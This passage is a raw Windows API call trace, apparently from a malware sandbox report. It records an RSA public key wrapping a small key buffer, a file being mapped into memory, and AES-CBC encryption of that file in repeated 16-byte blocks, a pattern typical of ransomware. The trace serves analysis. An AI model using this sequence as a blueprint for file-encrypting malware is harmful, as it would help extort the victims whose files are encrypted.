[0165.127] GetTickCount () returned 0x1169003 [0165.127] GetTickCount () returned 0x1169003 [0165.127] GetTickCount () returned 0x1169003 [0165.127] GetTickCount () returned 0x1169003 [0165.127] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668570) returned 1 [0165.127] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639ae8) returned 1 [0165.127] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0165.128] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0165.128] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0165.128] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a9c, lpName=0x0) returned 0x380 [0165.128] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a9c) returned 0x1480000 [0165.128] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668708) returned 1 [0165.129] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639ae8) returned 1 [0165.129] CryptSetKeyParam (hKey=0x1639ae8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.130] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.131] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.132] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, 